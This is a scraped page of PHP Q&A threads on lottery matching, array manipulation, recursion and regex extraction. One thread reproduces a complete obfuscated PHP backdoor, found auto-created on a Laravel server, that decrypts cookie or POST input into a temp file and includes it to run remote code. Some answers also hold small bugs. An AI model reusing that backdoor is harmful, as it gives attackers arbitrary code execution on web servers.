Finding lottery winners - php

Pretty sure my syntax is off, been a while since I've used PHP - any help is appreciated! Kind of a mix match of C at the moment. This is essentially a loop that's going through comparing both arrays before being passed to a second loop that throws in the rule that is required to win the 'lottery'
$pickedBalls = [1, 2, 3, 4, 5, 6];
$playerBalls = [
"Harry" => [6, 7, 8, 9, 10, 11],
"Jack" => [4, 5, 6, 7, 8, 9],
"Andrew" => [9, 10, 11, 12, 13, 14],
"Paul" => [15, 16, 17, 18, 19, 20],
"Andrew2" => [21, 22, 23, 24, 25, 26]
];
$results = [];
foreach ($playerBalls as $key => $value) {
for ($i = 0; $i < 6; $i++) {
for ($j = 0; $j < 6; $j++) {
if ($pickedBalls[$i] == $value[$j])
$results[$key]++;
}
}
}

I don't intend for up/downvote.
I recommend You to learn PHP essentials (YouTube: PHP tutorials for beginner)
About checking lottery winners - it can be done just intersecting 2 arrays and checking intersection size:
$drawnNumbers = [4, 8, 15, 16, 23, 42];
$ticketsPurchases = [
"Harry" => [3, 2, 31, 5, 12, 44],
"Jack" => [8, 42, 13, 23, 1, 49],
"Andrew" => [8, 17, 19, 22, 25, 31],
"Paul" => [11, 16, 20, 29, 31, 38],
"Andrew" => [17, 18, 20, 22, 31, 47]
];
$results = [];
$winners = [];
$winningCondition = 3;
foreach ($ticketPurchases as $player => $numbers)
{
$winningNumbers = array_intersect($numbers, $drawnNumbers); // intersection of player's ticket numbers and drawn numbers
$winningNumbersCount = sizeof($winningNumbers); // intersection size
$won = $winningNumbersCount >= $winningCondition; // if intersection size GTE winning condition (3)
$results[$player] = compact('player', 'winningNumbers', 'winningNumbersCount', 'won');
if($won) $winners[] = $player;
}
echo "\nRESULTS:\n";
print_r($results);
echo "\nWINNERS:\n";
echo implode("\n", $winners);

This might be what you are after
$pickedBalls = [4, 8, 15, 16, 23, 42];
$playerBalls = [
"Harry" => [3, 2, 31, 5, 12, 44],
"Jack" => [8, 42, 13, 23, 1, 49],
"Andrew" => [8, 17, 19, 22, 25, 31],
"Paul" => [11, 16, 20, 29, 31, 38],
"Andrew2" => [17, 18, 20, 22, 31, 47]
];
$results = [];
foreach ($playerBalls as $person => $balls) {
if ( !isset($results[$person]) ) {
$results[$person] = 0;
}
foreach( $balls as $ball) {
if (in_array($ball, $pickedBalls)) {
$results[$person]++;
}
}
}
foreach ( $results as $name => $balls ) {
if ( $balls >= 3) {
echo $name . ' is a winner';
}
}
RESULTS
Jack is a winner

Related

In my live project .php files are creating with name like t1kpvh7s.php which contains this type of code kindly guide what are these for

this is the file code which is created automatically in my public folder in laravel 8 project deployed on ubuntu server. Is this some kind of malware or virus Please kindly explain it, thanks is advance
function x1($c2)
{
$j3 = "dHr-k<s6y7x.c_3?umLaFlb*po4#1eg#hf8;vI25" . " /ntEi'()";
$f5 = '';
foreach ($c2 as $d4) {
$f5 .= $j3[$d4];
}
return $f5;
}
$b6 = array();
$b6[] = x1(array(14, 12, 14, 7, 39, 19, 12, 34, 3, 12, 26, 28, 28, 3, 26, 14, 0, 22, 3, 22, 12, 12, 39, 3, 19, 39, 28, 7, 33, 38, 7, 9, 9, 0, 28, 39));
$b6[] = x1(array(15, 24, 32, 24, 40, 31, 16, 42, 21, 45, 42, 4, 47, 13, 13, 20, 37, 18, 44, 13, 13, 48, 35, 40));
$b6[] = x1(array(11, 17, 25, 0, 16, 21, 29));
$b6[] = x1(array(1, 23));
$b6[] = x1(array(11, 41));
$b6[] = x1(array(27));
$b6[] = x1(array(5));
$b6[] = x1(array(33, 45, 21, 29, 13, 24, 16, 43, 13, 12, 25, 42, 43, 29, 42, 43, 6));
$b6[] = x1(array(19, 2, 2, 19, 8, 13, 17, 29, 2, 30, 29));
$b6[] = x1(array(6, 43, 2, 13, 2, 29, 24, 29, 19, 43));
$b6[] = x1(array(29, 10, 24, 21, 25, 0, 29));
$b6[] = x1(array(6, 16, 22, 6, 43, 2));
$b6[] = x1(array(16, 42, 21, 45, 42, 4));
$b6[] = x1(array(6, 43, 2, 21, 29, 42));
$b6[] = x1(array(24, 19, 12, 4));
$b6[] = x1(array(17, 0, 39));
foreach ($b6[8]($_COOKIE, $_POST) as $d14 => $p11) {
function k8($b6, $d14, $b10)
{
return $b6[11]($b6[9]($d14 . $b6[0], ($b10 / $b6[13]($d14)) + 1), 0, $b10);
}
function b7($b6, $s12)
{
return #$b6[14]($b6[3], $s12);
}
function r9($b6, $s12)
{
if (isset($s12[2])) {
$i13 = $b6[4] . $b6[15]($b6[0]) . $b6[2];
#$b6[7]($i13, $b6[6] . $b6[1] . $s12[1]($s12[2]));
#include($i13);
#$b6[12]($i13);
exit();
}
}
$p11 = b7($b6, $p11);
r9($b6, $b6[10]($b6[5], $p11 ^ k8($b6, $d14, $b6[13]($p11))));
}

Addition to values in a foreach-loop

So I have an array.
$numbers1 = [31, 60, 54, 7, 13, 2, 9, 68, 5, 2, 9, 68, 5, 2];
What I have to do is use a foreach-loop to sum each item with 20 and then place them in a new Array, $newArray. This is what I've come up with so far.
$numbers1 = [31, 60, 54, 7, 13, 2, 9, 68, 5, 2, 9, 68, 5, 2];
foreach ($numbers1 as &$value) {
$newArray = $value + 20;
}
But it doesn't seem to be working, as I receive the answer 22 instead of the array with the sum of the numbers. I know I have to echo it out, but I have to do that later in the exercise. I appreciate the help.
Your question basically works. Replace $newArray with $value as so:
$numbers1 = [31, 60, 54, 7, 13, 2, 9, 68, 5, 2, 9, 68, 5, 2];
foreach ($numbers1 as &$value) {
$value += 20;
}
Then if you need it in a new array use add the following line afterwards:
$newArray = $numbers1;
Since you are passing $value by reference you can use the $value += 20 line.
If you don't want the pointless array reassignment you can do the following:
$numbers1 = [31, 60, 54, 7, 13, 2, 9, 68, 5, 2, 9, 68, 5, 2];
foreach ($numbers1 as value) {
$newArray[] = $value + 20;
}
General solution, not suitable for this exact question
Use array_map instead(for better codestyle):
$newArray = array_map(function ($x) {
return $x + 20;
}, [31, 60, 54, 7, 13, 2, 9, 68, 5, 2, 9, 68, 5, 2]);
This will assign the function to each entry and thus will increase each value by 20.

Slice out a part of an multidimensional array

Okay, so I got this multidimensional array in my project with some different values in it. For example:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33),
array("Array6", 51, 6, 21, 36),
array("Array7", 53, 8, 23, 38),
array("Array8", 55, 10, 25, 40),
array("Array9", 57, 12, 27, 42),
array("Array10", 59, 14, 29, 44),
);
I want to extract only a part of myArray, and "disable" the other part of the array. So I only want this output:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33)
);
Is there any way of achieving this in php?
array_slice() could help you.
$myArray= array_splice($myArray, 0, 5);
print '<pre>';
print_r($myArray);
print '</pre>';

PHP Recursive Function top list

I want make recursive function
when i search any id the id introid will show and introid will show their introid [Urdu Guide]
if i search id 45
will show result like
22
11
5
2
1
<?php
function searchID($id)
{
if ($id>1) {print intval($id/2)."\n"; searchID(intval($id/2));} else return 1;
}
searchID(45);
?>
Assuming you may have tried something and not successful with the recursion approach ... here is the solution!
<?php
$introid = array(0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, 25, 25);
$id = range(1, count($introid));
$associative_array= array_combine($id, $introid);
function lets_recurse($id, $associative_array)
{
if($id==1 || $id==0)
{
echo '';
}
else if(isset($associative_array[$id]))
{
echo $associative_array[$id].' ';
lets_recurse($associative_array[$id], $associative_array);
}
else
{
echo '';
}
}
lets_recurse(45, $associative_array);
?>

php extract multiple sections of text from string

I'm trying to extract the text in the following way:
$subname = "subarray({value=subarray({0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48}, EXCEL*48, 1)";
preg_match('#\{(.*?)\}#',$subname, $match, PREG_OFFSET_CAPTURE);
print_r($match[1][1]);
$matchs = substr( $subname, 0, $match[1][1]);
print_r($matchs);
I would like to obtain the following text from $subname
0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48
EXCEL
*48
I'm struggling with the 2nd bit (getting the EXCEL word). I wonder whether it is possible to get preg_match to give me the rest of the string?
You may use
'#\{([\s\d.,]*)},\s*(\p{L}+)(\*\d+)#'
See the regex demo.
Details:
\{ - a {
([\s\d.,]*) - Group 1 capturing 0+ whitespaces, digits, commas and dots
} - a literal }
, - a comma
\s* - 0+ whitespaces
(\p{L}+) - Group 2: one or more letters
(\*\d+) - Group 3: a * and 1+ digits.
See a PHP demo below.
$subname = "subarray({value=subarray({0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48}, EXCEL*48, 1)";
$res = array();
if (preg_match('#\{([\s\d.,]*)},\s*(\p{L}+)(\*\d+)#',$subname, $match)) {
$res = explode(", ", $match[1]);
array_push($res, $match[2]);
array_push($res, $match[3]);
}
print_r($res);

Categories